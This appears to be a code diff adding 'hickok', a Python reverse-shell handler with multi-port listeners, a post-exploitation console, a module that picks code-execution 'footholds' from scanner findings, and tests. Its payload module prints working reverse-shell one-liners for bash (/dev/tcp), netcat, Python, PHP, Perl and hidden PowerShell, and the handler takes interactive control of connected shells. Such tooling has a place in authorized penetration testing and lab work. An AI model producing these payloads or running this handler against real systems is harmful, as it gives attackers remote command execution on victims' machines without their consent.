|
|
114
|
+
if title:
|
|
115
|
+
self._emit(self._c(DIM, f"── {title} " + "─" * max(0, 52 - len(title))))
|
|
116
|
+
else:
|
|
117
|
+
self._emit(self._c(DIM, "─" * 56))
|
|
118
|
+
|
|
119
|
+
# ----------------------------------------------------------- the hand
|
|
120
|
+
def eights(self) -> None:
|
|
121
|
+
"""Hickok lays down the eights — half the dead man's hand."""
|
|
122
|
+
self._emit()
|
|
123
|
+
self._cards([("8", "♠"), ("8", "♣")])
|
|
124
|
+
self._emit()
|
|
125
|
+
self._emit(" " + self._c(DIM, "Hickok lays down the eights."))
|
|
126
|
+
self._emit(" " + self._c(DIM, "…and Hickok was holding the eights."))
|
|
127
|
+
self._emit()
|
|
128
|
+
|
|
129
|
+
def dead_mans_hand(self, dealt_by_wraith: bool = False) -> None:
|
|
130
|
+
"""The full hand laid down — aces and eights. When the aces came from a
|
|
131
|
+
wraith findings file, the catch is acknowledged."""
|
|
132
|
+
self._emit()
|
|
133
|
+
self._cards([("A", "♠"), ("A", "♣"), ("8", "♠"), ("8", "♣")])
|
|
134
|
+
self._emit()
|
|
135
|
+
self._emit(" " + self._c(BOLD, "aces and eights — the dead man's hand."))
|
|
136
|
+
if dealt_by_wraith:
|
|
137
|
+
self._emit(" " + self._c(DIM, "the wraith dealt the aces; Hickok brought the eights."))
|
|
138
|
+
self._emit(" " + self._c(DIM, "J.B. Hickok, Deadwood 1876. the house always collects."))
|
|
139
|
+
self._emit()
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
"""Read a wraith findings.json and pick out what can be turned into a foothold.
|
|
2
|
+
|
|
3
|
+
This is the bridge: wraith holds the aces (it finds and proves the way in),
|
|
4
|
+
hickok brings the eights (it acts on them). A finding that means code execution
|
|
5
|
+
is a door to a shell — hickok's whole reason to exist.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
import json
|
|
11
|
+
from pathlib import Path
|
|
12
|
+
|
|
13
|
+
# Finding titles that imply server-side code execution -> a reverse shell.
|
|
14
|
+
_FOOTHOLD = (
|
|
15
|
+
"command injection", "remote code", "rce", "code execution",
|
|
16
|
+
"server-side template injection", "ssti", "deserial", "file upload",
|
|
17
|
+
)
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def load(path) -> list[dict]:
|
|
21
|
+
"""Parse a wraith findings.json (a list of finding objects)."""
|
|
22
|
+
data = json.loads(Path(path).read_text(encoding="utf-8"))
|
|
23
|
+
if not isinstance(data, list):
|
|
24
|
+
raise ValueError("not a wraith findings.json (expected a JSON list)")
|
|
25
|
+
return data
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
def is_foothold(title: str) -> bool:
|
|
29
|
+
"""True if the finding's title implies code execution — a path to a shell."""
|
|
30
|
+
t = (title or "").lower()
|
|
31
|
+
return any(k in t for k in _FOOTHOLD)
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def footholds(findings: list[dict]) -> list[dict]:
|
|
35
|
+
return [f for f in findings if is_foothold(f.get("title", ""))]
|
|
@@ -0,0 +1,189 @@
|
|
|
1
|
+
"""Interactive reverse-shell handler: multi-listener + post-exploitation console."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import asyncio
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
|
|
9
|
+
from hickok import payloads
|
|
10
|
+
from hickok.session import SessionManager
|
|
11
|
+
|
|
12
|
+
HELP = """commands:
|
|
13
|
+
sessions list connected sessions
|
|
14
|
+
interact <id> attach to a session (detach with Ctrl-])
|
|
15
|
+
cmd <id> <command> run a single command and print the output
|
|
16
|
+
upgrade <id> upgrade the shell to a full PTY (python pty.spawn)
|
|
17
|
+
payloads [lhost] [lport] print reverse-shell one-liners
|
|
18
|
+
kill <id> drop a session
|
|
19
|
+
help show this help
|
|
20
|
+
exit quit
|
|
21
|
+
"""
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
class ShellServer:
|
|
25
|
+
def __init__(self, ports: list[int], lhost: str, console):
|
|
26
|
+
self.ports = ports
|
|
27
|
+
self.lhost = lhost
|
|
28
|
+
self.console = console
|
|
29
|
+
self.mgr = SessionManager()
|
|
30
|
+
self._servers: list[asyncio.AbstractServer] = []
|
|
31
|
+
|
|
32
|
+
async def _on_conn(self, reader, writer) -> None:
|
|
33
|
+
sess = self.mgr.add(reader, writer)
|
|
34
|
+
sess.start()
|
|
35
|
+
host, port = sess.peer[0], sess.peer[1]
|
|
36
|
+
self.console.good(f"session {sess.id} opened — {host}:{port}")
|
|
37
|
+
|
|
38
|
+
async def _start_listeners(self) -> None:
|
|
39
|
+
for port in self.ports:
|
|
40
|
+
try:
|
|
41
|
+
server = await asyncio.start_server(self._on_conn, "0.0.0.0", port)
|
|
42
|
+
except OSError as exc:
|
|
43
|
+
self.console.bad(f"cannot bind :{port} — {exc}")
|
|
44
|
+
continue
|
|
45
|
+
self._servers.append(server)
|
|
46
|
+
self.console.info(f"listening on 0.0.0.0:{port}")
|
|
47
|
+
|
|
48
|
+
async def run(self) -> None:
|
|
49
|
+
await self._start_listeners()
|
|
50
|
+
if not self._servers:
|
|
51
|
+
self.console.bad("no listeners; aborting")
|
|
52
|
+
return
|
|
53
|
+
self.console.info(f"lhost for payloads: {self.lhost} (type 'help')")
|
|
54
|
+
await self._repl()
|
|
55
|
+
for server in self._servers:
|
|
56
|
+
server.close()
|
|
57
|
+
|
|
58
|
+
# ------------------------------------------------------------- REPL
|
|
59
|
+
async def _repl(self) -> None:
|
|
60
|
+
loop = asyncio.get_event_loop()
|
|
61
|
+
while True:
|
|
62
|
+
try:
|
|
63
|
+
line = await loop.run_in_executor(None, input, "hickok> ")
|
|
64
|
+
except (EOFError, KeyboardInterrupt):
|
|
65
|
+
break
|
|
66
|
+
line = line.strip()
|
|
67
|
+
if not line:
|
|
68
|
+
continue
|
|
69
|
+
parts = line.split(maxsplit=1)
|
|
70
|
+
cmd = parts[0].lower()
|
|
71
|
+
arg = parts[1] if len(parts) > 1 else ""
|
|
72
|
+
|
|
73
|
+
if cmd in ("exit", "quit"):
|
|
74
|
+
break
|
|
75
|
+
elif cmd in ("help", "?"):
|
|
76
|
+
self.console.plain(HELP)
|
|
77
|
+
elif cmd in ("sessions", "ls"):
|
|
78
|
+
self._list_sessions()
|
|
79
|
+
elif cmd == "payloads":
|
|
80
|
+
self._show_payloads(arg)
|
|
81
|
+
elif cmd in ("cmd", "run"):
|
|
82
|
+
await self._run_cmd(arg)
|
|
83
|
+
elif cmd == "upgrade":
|
|
84
|
+
await self._upgrade(arg)
|
|
85
|
+
elif cmd == "interact":
|
|
86
|
+
await self._interact(arg)
|
|
87
|
+
elif cmd == "kill":
|
|
88
|
+
self._kill(arg)
|
|
89
|
+
else:
|
|
90
|
+
self.console.warn(f"unknown command: {cmd} (type 'help')")
|
|
91
|
+
|
|
92
|
+
def _list_sessions(self) -> None:
|
|
93
|
+
sessions = self.mgr.all()
|
|
94
|
+
if not sessions:
|
|
95
|
+
self.console.warn("no sessions yet")
|
|
96
|
+
return
|
|
97
|
+
for s in sessions:
|
|
98
|
+
state = "alive" if s.alive else "dead"
|
|
99
|
+
self.console.plain(f" [{s.id}] {s.peer[0]}:{s.peer[1]} {state} up {s.age}")
|
|
100
|
+
|
|
101
|
+
def _show_payloads(self, arg: str) -> None:
|
|
102
|
+
bits = arg.split()
|
|
103
|
+
lhost = bits[0] if len(bits) >= 1 else self.lhost
|
|
104
|
+
lport = int(bits[1]) if len(bits) >= 2 else self.ports[0]
|
|
105
|
+
self.console.info(f"reverse shells for {lhost}:{lport}")
|
|
106
|
+
for name, payload in payloads.generate(lhost, lport).items():
|
|
107
|
+
self.console.plain(f"\n # {name}\n {payload}")
|
|
108
|
+
self.console.plain("")
|
|
109
|
+
|
|
110
|
+
def _resolve(self, arg: str):
|
|
111
|
+
try:
|
|
112
|
+
sess = self.mgr.get(int(arg.split()[0]))
|
|
113
|
+
except (ValueError, IndexError):
|
|
114
|
+
self.console.warn("usage needs a numeric session id")
|
|
115
|
+
return None
|
|
116
|
+
if not sess:
|
|
117
|
+
self.console.warn("no such session")
|
|
118
|
+
return None
|
|
119
|
+
return sess
|
|
120
|
+
|
|
121
|
+
async def _run_cmd(self, arg: str) -> None:
|
|
122
|
+
bits = arg.split(maxsplit=1)
|
|
123
|
+
if len(bits) < 2:
|
|
124
|
+
self.console.warn("usage: cmd <id> <command>")
|
|
125
|
+
return
|
|
126
|
+
sess = self._resolve(bits[0])
|
|
127
|
+
if not sess:
|
|
128
|
+
return
|
|
129
|
+
await sess.send(bits[1].encode() + b"\n")
|
|
130
|
+
out = await sess.collect(timeout=1.2)
|
|
131
|
+
sys.stdout.buffer.write(out)
|
|
132
|
+
sys.stdout.buffer.flush()
|
|
133
|
+
self.console.plain("")
|
|
134
|
+
|
|
135
|
+
async def _upgrade(self, arg: str) -> None:
|
|
136
|
+
sess = self._resolve(arg)
|
|
137
|
+
if not sess:
|
|
138
|
+
return
|
|
139
|
+
await sess.send(payloads.TTY_UPGRADE.encode() + b"\n")
|
|
140
|
+
self.console.good("sent PTY upgrade — interact and run: export TERM=xterm")
|
|
141
|
+
|
|
142
|
+
def _kill(self, arg: str) -> None:
|
|
143
|
+
sess = self._resolve(arg)
|
|
144
|
+
if not sess:
|
|
145
|
+
return
|
|
146
|
+
self.mgr.remove(sess.id)
|
|
147
|
+
self.console.good(f"session {sess.id} closed")
|
|
148
|
+
|
|
149
|
+
async def _interact(self, arg: str) -> None:
|
|
150
|
+
sess = self._resolve(arg)
|
|
151
|
+
if not sess:
|
|
152
|
+
return
|
|
153
|
+
if not sys.stdin.isatty():
|
|
154
|
+
self.console.warn("interact needs a real TTY — use 'cmd <id> ...' here")
|
|
155
|
+
return
|
|
156
|
+
|
|
157
|
+
import termios
|
|
158
|
+
import tty
|
|
159
|
+
|
|
160
|
+
loop = asyncio.get_event_loop()
|
|
161
|
+
fd = sys.stdin.fileno()
|
|
162
|
+
old = termios.tcgetattr(fd)
|
|
163
|
+
detached = asyncio.Event()
|
|
164
|
+
|
|
165
|
+
def on_stdin() -> None:
|
|
166
|
+
try:
|
|
167
|
+
data = os.read(fd, 4096)
|
|
168
|
+
except OSError:
|
|
169
|
+
detached.set()
|
|
170
|
+
return
|
|
171
|
+
if b"\x1d" in data: # Ctrl-]
|
|
172
|
+
detached.set()
|
|
173
|
+
return
|
|
174
|
+
asyncio.ensure_future(sess.send(data))
|
|
175
|
+
|
|
176
|
+
self.console.info(f"interacting with session {sess.id} — detach: Ctrl-]")
|
|
177
|
+
try:
|
|
178
|
+
# Raw mode so our terminal stops cooking input: every keystroke
|
|
179
|
+
# (Ctrl-C, tab, arrows) goes straight to the remote shell instead of
|
|
180
|
+
# being handled locally. We restore the saved settings in `finally`.
|
|
181
|
+
tty.setraw(fd)
|
|
182
|
+
sess.mirror_on()
|
|
183
|
+
loop.add_reader(fd, on_stdin)
|
|
184
|
+
await detached.wait()
|
|
185
|
+
finally:
|
|
186
|
+
loop.remove_reader(fd)
|
|
187
|
+
sess.mirror_off()
|
|
188
|
+
termios.tcsetattr(fd, termios.TCSADRAIN, old)
|
|
189
|
+
self.console.plain("")
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
"""Reverse-shell payload generation and the TTY-upgrade primitive."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import socket
|
|
6
|
+
|
|
7
|
+
# Sent to a connected dumb shell to turn it into a full PTY.
|
|
8
|
+
TTY_UPGRADE = "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def guess_lhost() -> str:
|
|
12
|
+
"""Best-effort local IP (the address used to reach the default route)."""
|
|
13
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
14
|
+
try:
|
|
15
|
+
s.connect(("8.8.8.8", 80))
|
|
16
|
+
return s.getsockname()[0]
|
|
17
|
+
except Exception:
|
|
18
|
+
return "127.0.0.1"
|
|
19
|
+
finally:
|
|
20
|
+
s.close()
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def generate(lhost: str, lport: int) -> dict[str, str]:
|
|
24
|
+
"""Return a map of {name: reverse-shell one-liner} for the given LHOST/LPORT."""
|
|
25
|
+
return {
|
|
26
|
+
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
|
|
27
|
+
"sh-fifo": f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
|
|
28
|
+
"nc-e": f"nc -e /bin/sh {lhost} {lport}",
|
|
29
|
+
"python3": (
|
|
30
|
+
"python3 -c 'import socket,os,pty;s=socket.socket();"
|
|
31
|
+
f's.connect(("{lhost}",{lport}));'
|
|
32
|
+
"[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")'"
|
|
33
|
+
),
|
|
34
|
+
"php": f"php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
|
|
35
|
+
"perl": (
|
|
36
|
+
f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};"
|
|
37
|
+
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"
|
|
38
|
+
"if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");"
|
|
39
|
+
"open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
|
|
40
|
+
),
|
|
41
|
+
"powershell": (
|
|
42
|
+
"powershell -nop -W hidden -c \"$c=New-Object System.Net.Sockets.TCPClient('"
|
|
43
|
+
f"{lhost}',{lport});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};"
|
|
44
|
+
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName "
|
|
45
|
+
"System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);"
|
|
46
|
+
"$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);"
|
|
47
|
+
"$s.Write($sb,0,$sb.Length);$s.Flush()}\""
|
|
48
|
+
),
|
|
49
|
+
}
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
"""Connected reverse-shell sessions and their registry."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import asyncio
|
|
6
|
+
import sys
|
|
7
|
+
import time
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
class ShellSession:
|
|
11
|
+
"""One connected shell. A background task pumps inbound data either into a
|
|
12
|
+
queue (so `cmd` can collect a burst of output) or straight to stdout (while
|
|
13
|
+
interacting)."""
|
|
14
|
+
|
|
15
|
+
def __init__(self, sid: int, reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
|
|
16
|
+
self.id = sid
|
|
17
|
+
self.reader = reader
|
|
18
|
+
self.writer = writer
|
|
19
|
+
self.peer = writer.get_extra_info("peername") or ("?", 0)
|
|
20
|
+
self.connected = time.time()
|
|
21
|
+
self.alive = True
|
|
22
|
+
self._queue: asyncio.Queue[bytes] = asyncio.Queue()
|
|
23
|
+
self._mirror = False
|
|
24
|
+
self._task: asyncio.Task | None = None
|
|
25
|
+
|
|
26
|
+
def start(self) -> None:
|
|
27
|
+
self._task = asyncio.create_task(self._pump())
|
|
28
|
+
|
|
29
|
+
async def _pump(self) -> None:
|
|
30
|
+
try:
|
|
31
|
+
while True:
|
|
32
|
+
data = await self.reader.read(4096)
|
|
33
|
+
if not data:
|
|
34
|
+
break
|
|
35
|
+
if self._mirror:
|
|
36
|
+
sys.stdout.buffer.write(data)
|
|
37
|
+
sys.stdout.buffer.flush()
|
|
38
|
+
else:
|
|
39
|
+
await self._queue.put(data)
|
|
40
|
+
except Exception:
|
|
41
|
+
pass
|
|
42
|
+
finally:
|
|
43
|
+
self.alive = False
|
|
44
|
+
|
|
45
|
+
async def send(self, data: bytes) -> None:
|
|
46
|
+
self.writer.write(data)
|
|
47
|
+
await self.writer.drain()
|
|
48
|
+
|
|
49
|
+
async def collect(self, timeout: float = 1.0) -> bytes:
|
|
50
|
+
"""Drain buffered output for up to `timeout` seconds of silence."""
|
|
51
|
+
chunks: list[bytes] = []
|
|
52
|
+
try:
|
|
53
|
+
while True:
|
|
54
|
+
chunks.append(await asyncio.wait_for(self._queue.get(), timeout=timeout))
|
|
55
|
+
except asyncio.TimeoutError:
|
|
56
|
+
pass
|
|
57
|
+
return b"".join(chunks)
|
|
58
|
+
|
|
59
|
+
def mirror_on(self) -> None:
|
|
60
|
+
# Flush whatever is queued, then stream subsequent output to stdout.
|
|
61
|
+
while not self._queue.empty():
|
|
62
|
+
sys.stdout.buffer.write(self._queue.get_nowait())
|
|
63
|
+
sys.stdout.buffer.flush()
|
|
64
|
+
self._mirror = True
|
|
65
|
+
|
|
66
|
+
def mirror_off(self) -> None:
|
|
67
|
+
self._mirror = False
|
|
68
|
+
|
|
69
|
+
def close(self) -> None:
|
|
70
|
+
self.alive = False
|
|
71
|
+
try:
|
|
72
|
+
self.writer.close()
|
|
73
|
+
except Exception:
|
|
74
|
+
pass
|
|
75
|
+
|
|
76
|
+
@property
|
|
77
|
+
def age(self) -> str:
|
|
78
|
+
return f"{int(time.time() - self.connected)}s"
|
|
79
|
+
|
|
80
|
+
|
|
81
|
+
class SessionManager:
|
|
82
|
+
def __init__(self):
|
|
83
|
+
self._sessions: dict[int, ShellSession] = {}
|
|
84
|
+
self._counter = 0
|
|
85
|
+
|
|
86
|
+
def add(self, reader, writer) -> ShellSession:
|
|
87
|
+
self._counter += 1
|
|
88
|
+
sess = ShellSession(self._counter, reader, writer)
|
|
89
|
+
self._sessions[sess.id] = sess
|
|
90
|
+
return sess
|
|
91
|
+
|
|
92
|
+
def get(self, sid: int) -> ShellSession | None:
|
|
93
|
+
return self._sessions.get(sid)
|
|
94
|
+
|
|
95
|
+
def remove(self, sid: int) -> None:
|
|
96
|
+
sess = self._sessions.pop(sid, None)
|
|
97
|
+
if sess:
|
|
98
|
+
sess.close()
|
|
99
|
+
|
|
100
|
+
def all(self) -> list[ShellSession]:
|
|
101
|
+
return list(self._sessions.values())
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
from hickok.cli import _with_default_command
|
|
2
|
+
from hickok.console import Console
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
def test_banner_shows_eights_and_wild_bill(capsys):
|
|
6
|
+
Console(color=False, banner=True).banner()
|
|
7
|
+
out = capsys.readouterr().out
|
|
8
|
+
assert "8♠" in out and "8♣" in out # Hickok holds the eights
|
|
9
|
+
assert "HICKOK" in out.replace(" ", "") # the wordmark (spaced)
|
|
10
|
+
assert "Hickok" in out and "1876" in out # the memorial
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def test_eights_reveal(capsys):
|
|
14
|
+
Console(color=False, banner=False).eights()
|
|
15
|
+
out = capsys.readouterr().out
|
|
16
|
+
assert "8♠" in out and "8♣" in out
|
|
17
|
+
assert "eights" in out
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def test_dead_mans_hand_completes_and_credits_wraith(capsys):
|
|
21
|
+
Console(color=False, banner=False).dead_mans_hand(dealt_by_wraith=True)
|
|
22
|
+
out = capsys.readouterr().out
|
|
23
|
+
assert "A♠" in out and "A♣" in out and "8♠" in out and "8♣" in out
|
|
24
|
+
assert "dead man's hand" in out
|
|
25
|
+
assert "wraith" in out # the catch is credited
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
def test_listen_is_the_default_command():
|
|
29
|
+
assert _with_default_command(["-l", "9001"]) == ["listen", "-l", "9001"]
|
|
30
|
+
assert _with_default_command([]) == []
|
|
31
|
+
assert _with_default_command(["hand", "x.json"]) == ["hand", "x.json"]
|
|
32
|
+
assert _with_default_command(["--no-color", "-l", "9001"]) == ["--no-color", "listen", "-l", "9001"]
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
import json
|
|
2
|
+
|
|
3
|
+
from hickok import findings
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
def test_is_foothold_flags_code_execution():
|
|
7
|
+
assert findings.is_foothold("Command Injection in 'host'") is True
|
|
8
|
+
assert findings.is_foothold("Server-Side Template Injection in 'name'") is True
|
|
9
|
+
assert findings.is_foothold("Reflected XSS in 'q'") is False
|
|
10
|
+
assert findings.is_foothold("SQL Injection (boolean blind) in 'id'") is False
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def test_footholds_filters_actionable():
|
|
14
|
+
items = [
|
|
15
|
+
{"title": "Command Injection in 'host'", "severity": "Critical", "target": "http://t/ping"},
|
|
16
|
+
{"title": "Reflected XSS in 'q'", "severity": "High", "target": "http://t/search"},
|
|
17
|
+
{"title": "SSTI in 'name'", "severity": "High", "target": "http://t/render"},
|
|
18
|
+
]
|
|
19
|
+
foot = findings.footholds(items)
|
|
20
|
+
assert {f["target"] for f in foot} == {"http://t/ping", "http://t/render"}
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def test_load_reads_wraith_json(tmp_path):
|
|
24
|
+
p = tmp_path / "findings.json"
|
|
25
|
+
p.write_text(json.dumps([{"title": "x", "severity": "Low", "target": "http://t/"}]))
|
|
26
|
+
data = findings.load(str(p))
|
|
27
|
+
assert isinstance(data, list) and data[0]["title"] == "x"
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
from hickok import payloads
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
def test_generate_has_common_shells_with_lhost_lport():
|
|
5
|
+
p = payloads.generate("10.10.14.7", 9001)
|
|
6
|
+
assert {"bash", "python3", "nc-e", "php", "perl", "powershell"} <= set(p)
|
|
7
|
+
assert "10.10.14.7" in p["bash"] and "9001" in p["bash"]
|
|
8
|
+
assert "/dev/tcp/10.10.14.7/9001" in p["bash"]
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def test_guess_lhost_returns_an_address():
|
|
12
|
+
host = payloads.guess_lhost()
|
|
13
|
+
assert isinstance(host, str) and host.count(".") == 3
|